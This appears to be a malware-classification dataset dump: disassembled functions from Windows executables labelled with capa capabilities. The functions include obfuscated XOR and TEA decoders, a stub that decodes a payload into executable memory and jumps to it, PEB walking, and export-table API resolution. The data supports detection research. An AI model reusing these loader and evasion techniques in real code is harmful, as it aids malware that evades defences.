joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402c44
Capabilities:
Delete directory
Get common file path
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x104c
call fcn.0040dec0
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax]
mov eax, dword [eax + 4]
xor ebx, ebx
cmp dword [0x432b78], 0x594
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], eax
jne 0x402c94
push 0x4026c8
push 0x4026d8
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push 0x4026f4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov eax, dword [0x4284a8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x4284ac]
mov dword [ebp - 0x30], eax
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
call fcn.00402c3d
mov eax, dword [0x4284b0]
add dword [ebp - 0x10], 0x23f
mov dword [ebp - 0x2c], eax
mov eax, dword [0x4284b4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x20
jmp 0x402cd3
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, esi
shl eax, 4
cmp dword [0x432b78], 0xc
mov dword [ebp - 4], eax
jne 0x402d35
push ebx
lea eax, [ebp - 0x84c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0x104c]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
lea eax, [ebp - 0x38]
push eax
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [0x432b78]
cmp eax, 0xfa9
jne 0x402d51
mov dword [0x432114], 0xedeb2e40
cmp eax, 0x3eb
jne 0x402d5e
mov dword [0x431ac0], ebx
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
mov edx, esi
shr edx, cl
lea eax, [edi + esi]
mov dword [ebp - 0x18], eax
mov dword [0x432110], 0xf4ea3dee
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
cmp dword [0x432b78], 0x213
mov dword [ebp - 0x18], edx
jne 0x402d9e
push 0x402710
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov eax, dword [ebp - 0x18]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov eax, dword [ebp - 8]
lea ecx, [ebp - 4]
call fcn.00402c37
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add dword [ebp - 0x10], 0x61c88647
mov eax, edx
shr eax, cl
lea esi, [edi + edx]
add eax, dword [ebp - 0x30]
xor eax, esi
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0x14], eax
dec dword [ebp - 0x20]
jne 0x402cd0
cmp dword [0x432b78], 0xa6d
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp + 8]
mov dword [esi], eax
pop edi
jne 0x402e08
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov edx, dword [ebp - 8]
mov dword [esi + 4], edx
pop esi
pop ebx
leave
ret 4
Function at 0x402e11
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x432b78]
mov ecx, dword [0x431ac8]
sub esp, 0x544
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x402e84
mov edi, ecx
mov ebx, eax
cmp dword [0x432b78], 0x959
jne 0x402e78
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
lea eax, [ebp - 0x140]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0x402720
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push esi
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push edi
call fcn.00402c44
add edi, 8
dec ebx
jne 0x402e35
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4031b8
Capabilities:
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x424
push ebx
push esi
xor esi, esi
cmp dword [0x432b78], 0x400
push edi
jne 0x40320a
push esi
push esi
call fcn.004035b6
push esi
push esi
call fcn.004035b6
push esi
push esi
push esi
call fcn.00403e50
add esp, 0x14
mov dword [esp + 4], esi
mov dword [esp], esi
call fcn.00402bb2
fstp st(0)
push esi
call fcn.00403ed5
pop ecx
push esi
call fcn.00403c67
pop ecx
mov eax, dword [0x428b34]
mov dword [0x432b78], eax
mov eax, dword [0x428b0c]
mov dword [0x432b7c], eax
call fcn.00402ea3
mov dword [esp + 0x10], esi
mov ebx, 0x2b259d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov dword [esp + 0x1c], esi
lea edi, [esp + 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
push esi
lea eax, [esp + 0x3c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp dword [esp + 0x10], ebx
jle 0x403271
cmp dword [esp + 0x18], 0x785074d5
jne 0x40327f
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0x1c1b
jl 0x40322c
xor edi, edi
push esi
lea eax, [esp + 0x34]
push eax
push esi
push 0x402a38
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x402a74
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, ebx
jle 0x4032ae
cmp dword [esp + 0x18], 0x785074d5
jne 0x4032b7
inc edi
cmp edi, 0x11915
jl 0x403281
mov eax, dword [0x431ac8]
mov dword [0x43210c], eax
call eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x404840
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4270d8]
jne 0x40484a
repz ret
jmp fcn.00408c1a
Function at 0x4088d5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405a9c
and dword [ebp - 4], 0
cmp dword [0x4293b8], 0
mov ebx, eax
jne 0x408986
push 0x401b18
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x408a37
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401b0c
push edi
call esi
test eax, eax
je 0x408a37
push eax
call fcn.00405a2a
mov dword [esp], 0x401afc
push edi
mov dword [0x4293b8], eax
call esi
push eax
call fcn.00405a2a
mov dword [esp], 0x401ae8
push edi
mov dword [0x4293bc], eax
call esi
push eax
call fcn.00405a2a
mov dword [esp], 0x401acc
push edi
mov dword [0x4293c0], eax
call esi
push eax
call fcn.00405a2a
pop ecx
mov dword [0x4293c8], eax
test eax, eax
je 0x408986
push 0x401ab4
push edi
call esi
push eax
call fcn.00405a2a
pop ecx
mov dword [0x4293c4], eax
mov eax, dword [0x4293c4]
cmp eax, ebx
je 0x4089de
cmp dword [0x4293c8], ebx
je 0x4089de
push eax
call fcn.00405aa5
push dword [0x4293c8]
mov esi, eax
call fcn.00405aa5
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4089de
test edi, edi
je 0x4089de
call esi
test eax, eax
je 0x4089d5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4089d5
test byte [ebp - 0xc], 1
jne 0x4089de
or dword [ebp + 0x10], 0x200000
jmp 0x408a17
mov eax, dword [0x4293bc]
cmp eax, ebx
je 0x408a17
push eax
call fcn.00405aa5
pop ecx
test eax, eax
je 0x408a17
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x408a17
mov eax, dword [0x4293c0]
cmp eax, ebx
je 0x408a17
push eax
call fcn.00405aa5
pop ecx
test eax, eax
je 0x408a17
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4293b8]
call fcn.00405aa5
pop ecx
test eax, eax
je 0x408a37
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408a39
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403d39
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x403e84
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
push edi
mov edi, dword [esp + 0x10]
call ebx
sub byte [esi + edi], 0x67
call ebx
add byte [esi + edi], 0xa8
call ebx
xor byte [esi + edi], 0x68
call ebx
add byte [esi + edi], 0x3f
call ebx
add byte [esi + edi], 0xcb
call ebx
add byte [esi + edi], 0x9c
call ebx
add byte [esi + edi], 0xf
call ebx
xor byte [esi + edi], 0x9b
call ebx
add byte [esi + edi], 0x42
call ebx
add byte [esi + edi], 0x11
call ebx
xor byte [esi + edi], 0xdb
call ebx
add byte [esi + edi], 0x58
call ebx
add byte [esi + edi], 0xd1
call ebx
add byte [esi + edi], 0x53
call ebx
add byte [esi + edi], 0x4a
call ebx
add byte [esi + edi], 0x20
call ebx
xor byte [esi + edi], 0x45
call ebx
add byte [esi + edi], 0x30
call ebx
add byte [esi + edi], 0xa4
call ebx
add byte [esi + edi], 0x7d
call ebx
add byte [esi + edi], 0x56
call ebx
add byte [esi + edi], 0x48
call ebx
add byte [esi + edi], 0x59
call ebx
add byte [esi + edi], 0xfc
call ebx
dec byte [esi + edi]
call ebx
xor byte [esi + edi], 0xa7
call ebx
add byte [esi + edi], 0xb6
call ebx
add byte [esi + edi], 0x6d
call ebx
add byte [esi + edi], 0xc9
call ebx
add byte [esi + edi], 0xeb
call ebx
add byte [esi + edi], 0x6f
call ebx
xor byte [esi + edi], 0x7a
call ebx
xor byte [esi + edi], 0x2f
call ebx
xor byte [esi + edi], 0x45
call ebx
add byte [esi + edi], 0x2b
call ebx
add byte [esi + edi], 0x48
call ebx
xor byte [esi + edi], 1
call ebx
add byte [esi + edi], 0x38
call ebx
add byte [esi + edi], 0x96
call ebx
xor byte [esi + edi], 0xde
call ebx
add byte [esi + edi], 5
call ebx
xor byte [esi + edi], 0x9b
call ebx
add byte [esi + edi], 0xe7
call ebx
xor byte [esi + edi], 0x2d
call ebx
add byte [esi + edi], 0x3d
call ebx
xor byte [esi + edi], 0x4f
call ebx
add byte [esi + edi], 0xc0
call ebx
add byte [esi + edi], 0xc8
call ebx
add byte [esi + edi], 0x2b
inc esi
cmp esi, dword [esp + 0x14]
jb 0x403d52
pop edi
pop ebx
pop esi
ret

Function at 0x403f0e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x42a8ec]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x403f77
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401b44
lea eax, [esp + 0x14]
push 0x14d
push eax
call fcn.004040e5
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x403f8f
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00403ab2
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x403f3f
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405f4b
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00403ab2
jmp 0x403f79
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40596d
pop dword [ebp - 0x3c]
mov eax, 0xa3550291
sub eax, 0xa314a924
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x89d17e41
add dword [ebp - 0x4c], 0xc480c70a
mov dword [ebp - 0x48], 0x86e0611a
add dword [ebp - 0x48], 0xab52eb2b
mov dword [ebp - 0x44], 0x45b6dc57
sub dword [ebp - 0x44], 0xf96a9829
mov dword [ebp - 0x40], 0xe5297824
sub dword [ebp - 0x40], 0xe5297824
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x74bb098e
add eax, 0x8b8566d2
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x20043be2
sub dword [ebp - 0x4c], 0xab91d28c
mov dword [ebp - 0x48], 0xd0765531
sub dword [ebp - 0x48], 0x8f09f3bc
mov dword [ebp - 0x44], 0xe1278a17
sub dword [ebp - 0x44], 0x7db81dab
mov dword [ebp - 0x40], 0x94e67e72
add dword [ebp - 0x40], 0x6b19818e
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xddfd3d85
sub eax, 0xddbccc85
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x39f2b
push 0
call eax
mov ecx, 0x54ed
mov edi, eax
mov esi, 0xdc175c68
add esi, 0x2429a398
add esi, dword [ebp - 0x3c]
mov ebx, 0xa926bd06
add ebx, 0x73d63956
mov edx, dword [esi]
sub dword [ebp - 0xc], ecx
add edx, ebx
xor dword [ebp - 8], edi
mov dword [edi], edx
xor dword [ebp - 0x18], esi
add edi, 0x61380b7
add edi, 0xf9ec7f4d
add esi, 0x1ff4d7c
sub esi, 0x1ff4d78
loop 0x405a89
add eax, 0x14687
xor ebx, ebx
add ebx, eax
add eax, 0x4c3cfb36
sub eax, 0x4c3cfb31
mov ecx, 0x8097900a
sub ecx, 0x8057900a
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x40b0c0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4bcd78]
jne 0x40b0ca
repz ret
jmp fcn.0040dcec

Function at 0x40c500
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4bcd78]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040664e
and dword [ebp - 0x14], 0
cmp dword [0x4c074c], 0
mov dword [ebp - 0x18], eax
jne 0x40c5b3
push 0x402c9c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40c65b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402c90
push ebx
call edi
test eax, eax
je 0x40c65b
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402c80
push ebx
mov dword [0x4c074c], eax
call edi
push eax
call esi
push 0x402c6c
push ebx
mov dword [0x4c0750], eax
call edi
push eax
call esi
push 0x402c50
push ebx
mov dword [0x4c0754], eax
call edi
push eax
call esi
mov dword [0x4c075c], eax
test eax, eax
je 0x40c5b3
push 0x402c38
push ebx
call edi
push eax
call esi
mov dword [0x4c0758], eax
mov eax, dword [0x4c0758]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40c60c
cmp dword [0x4c075c], ecx
je 0x40c60c
push eax
call esi
push dword [0x4c075c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40c60c
test ebx, ebx
je 0x40c60c
call edi
test eax, eax
je 0x40c603
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40c603
test byte [ebp - 8], 1
jne 0x40c60c
or dword [ebp + 0x10], 0x200000
jmp 0x40c63f
mov eax, dword [0x4c0750]
cmp eax, dword [ebp - 0x18]
je 0x40c63f
push eax
call esi
test eax, eax
je 0x40c63f
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40c63f
mov eax, dword [0x4c0754]
cmp eax, dword [ebp - 0x18]
je 0x40c63f
push eax
call esi
test eax, eax
je 0x40c63f
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4c074c]
call esi
test eax, eax
je 0x40c65b
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40c65d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b0c0
leave
ret
Function at 0x4a2d90
Capabilities:
Accept command line arguments
Delete directory
Get common file path

Disassembly:
mov eax, 0x1420
call fcn.0040eb90
cmp dword [0x23026cc], 0x37
jne 0x4a2e47
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0x403480
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
lea eax, [esp + 0x824]
push eax
push 0x403498
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 4]
push edx
push 0
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea ecx, [esp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
lea edx, [esp + 0xc20]
push edx
push 0
push 0x4034f0
push 0x403508
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0x4035a8
push 0x403668
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov eax, dword [0x23026d0]
mov dword [esp], eax
mov eax, 0x5d1
add dword [esp], eax
mov ecx, dword [esp]
mov dl, byte [ecx + esi]
mov eax, dword [0x4c585c]
mov byte [eax + esi], dl
add esp, 0x1420
ret

Function at 0x4a2e80
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0x64
mov ecx, dword [esp + 0x68]
mov eax, dword [ecx]
mov edx, dword [0x4bd380]
push ebx
push ebp
mov ebp, dword [0x4bd37c]
push esi
mov esi, dword [ecx + 4]
mov ecx, dword [str.__L5]
mov dword [esp + 0x24], ecx
mov ecx, dword [0x4bd384]
mov ebx, 0xc6ef3720
push edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ebx
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x1c], 0x20
jmp 0x4a2ed4
mov eax, dword [esp + 0x14]
mov edx, eax
mov ecx, eax
shr edx, 5
add edx, dword [esp + 0x20]
shl ecx, 4
add ecx, dword [esp + 0x24]
add eax, ebx
xor edx, ecx
xor edx, eax
sub esi, edx
mov ecx, esi
shl ecx, 4
mov dword [0x22f867c], 0
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
cmp dword [0x23026cc], 0x1be
lea edi, [ebx + esi]
jne 0x4a2f29
lea edx, [esp + 0x2c]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov eax, esi
shr eax, 5
add eax, ebp
xor eax, edi
xor dword [esp + 0x10], eax
mov dword [0x22f8680], 0xff6b3619
mov dword [0x22f8684], 0xffffffff
mov eax, dword [esp + 0x10]
sub dword [esp + 0x14], eax
mov ecx, dword [0x23026cc]
cmp ecx, 0x93
je 0x4a2f6d
lea eax, [esp + 0x18]
call fcn.004a2e70
mov ebx, dword [esp + 0x18]
dec dword [esp + 0x1c]
jne 0x4a2ed0
cmp ecx, 0x8d4
jne 0x4a2fa1
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [esp + 0x78]
mov edx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], edx
pop ebx
add esp, 0x64
ret 4
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], ecx
pop ebx
add esp, 0x64
ret 4
Function at 0x401425
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 4, 0
mov esi, eax
mov edx, dword [0x40e050]
or dl, 1
imul edx, eax
mov edi, dword [0x40e050]
mov ebx, eax
sub edi, edx
mov eax, 0x40e054
mov edx, edi
call fcn.0040135c
lea edx, [ebp - 4]
push edx
mov edx, esi
or dl, 0x40
mov edi, 0x401e3f
push edx
sub edi, fcn.0040160a
push edi
xor eax, eax
push fcn.0040160a
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp - 4], 0
je 0x40149d
mov eax, fcn.0040160a
mov ebx, esi
mov edx, edi
call fcn.0040135c
mov edx, 0x1b600
mov eax, 0x40e054
mov ebx, esi
call fcn.0040124c
leave
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x401557
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebx
push ecx
push edx
enter 0x144, 0
push 0
call dword [sym.imp.OLE32.DLL_CoInitialize]
xor eax, eax
push eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push 0x7f00
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x24], 6
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.USER32.DLL_LoadCursorA]
push 0x7f00
push 0
mov dword [ebp - 0x28], eax
call dword [sym.imp.USER32.DLL_LoadIconA]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.USER32.DLL_RegisterClassW]
push 0
push 0
call dword [sym.imp.USER32.DLL_LoadAcceleratorsA]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push 1
push 1
lea eax, [ebp - 0x144]
push eax
mov dword [ebp - 4], 0x14
mov byte [ebp - 0x144], 0
call dword [sym.imp.CRYPT32.DLL_CryptBinaryToStringW]
movzx ebx, word [ebp - 0x18]
call dword [sym.imp.OLE32.DLL_CoUninitialize]
lea eax, [ebx - 0x41]
leave
pop edx
pop ecx
pop ebx
ret
Function at 0xc9814c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0xcb219a
sub esp, 0x24
mov eax, dword [0xd12154]
xor eax, esp
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x2c]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x34]
xor ebx, ebx
mov dword [esp + 0xc], eax
push edi
mov eax, dword [esi + 0x3c]
mov ebp, dword [eax + esi + 0x78]
add ebp, esi
mov edi, dword [ebp + 0x20]
mov eax, dword [ebp + 0x18]
add edi, esi
mov dword [esp + 0x14], eax
test eax, eax
je 0xcb2208
mov eax, dword [edi]
lea ecx, [esp + 0x18]
add eax, esi
push eax
call fcn.00c988b8
push dword [esp + 0x10]
lea eax, [esp + 0x1c]
push eax
call fcn.00c9a9ab
pop ecx
pop ecx
test al, al
jne 0xcb221f
lea ecx, [esp + 0x18]
add edi, 4
call fcn.00c9a92e
inc ebx
cmp ebx, dword [esp + 0x14]
jb 0xcb21d3
xor esi, esi
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00c99d71
add esp, 0x24
ret
mov eax, dword [ebp + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebp + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + esi]
lea ecx, [esp + 0x18]
call fcn.00c9a92e
jmp 0xcb220a

Function at 0xc9ab63
Capabilities:
Encode data using xor

Disassembly:
jmp 0xcb2d32
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0xcb2e26
push ebx
push ebp
push edi
mov edi, dword [esp + 0x14]
mov ebp, 0xd154f8
mov bl, byte [esi + edi]
push 0xcf75e8
push ebp
call fcn.00c99a33
xor edx, edx
mov eax, esi
div dword [esp + 0x24]
pop ecx
pop ecx
push 0xc51edd
push 0xcf75f4
mov bh, byte [edx + section..REMO]
push 0xd155e0
xor bh, bl
call fcn.00c99a33
pop ecx
pop ecx
mov ecx, eax
call fcn.00c9caa8
mov bl, byte [esi + edi]
push 0xc51edd
push 0xcf7604
push ebp
call fcn.00c99a33
pop ecx
pop ecx
mov ecx, eax
call fcn.00c9caa8
add byte [esi + edi], bh
push 0xc51edd
push 0xcf7618
push ebp
call fcn.00c99a33
pop ecx
pop ecx
mov ecx, eax
call fcn.00c9caa8
dec byte [esi + edi]
push 0xcf7638
push ebp
call fcn.00c99a33
add byte [esi + edi], 0xfe
push 0xcf7644
push ebp
call fcn.00c99a33
sub byte [esi + edi], bl
push 0xcf7658
push ebp
call fcn.00c99a33
inc byte [esi + edi]
push 0xcf7668
push ebp
call fcn.00c99a33
inc byte [esi + edi]
push 0xcf7674
push ebp
call fcn.00c99a33
inc byte [esi + edi]
push 0xcf7680
push ebp
call fcn.00c99a33
add esp, 0x30
inc esi
cmp esi, dword [esp + 0x18]
jb 0xcb2d4b
pop edi
pop ebp
pop ebx
pop esi
ret

Function at 0xc9cba2
Capabilities:
Parse pe header

Disassembly:
jmp 0xcd8e00
push 0
call dword [0xd180ec]
test eax, eax
je 0xcd8e3f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0xcd8e3f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0xcd8e3f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0xcd8e3f
cmp dword [ecx + 0x74], 0xe
jbe 0xcd8e3f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0xc9ceb8
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
jmp 0xcb2265
push esi
push edi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0xd1a00c], eax
pop edi
pop esi
ret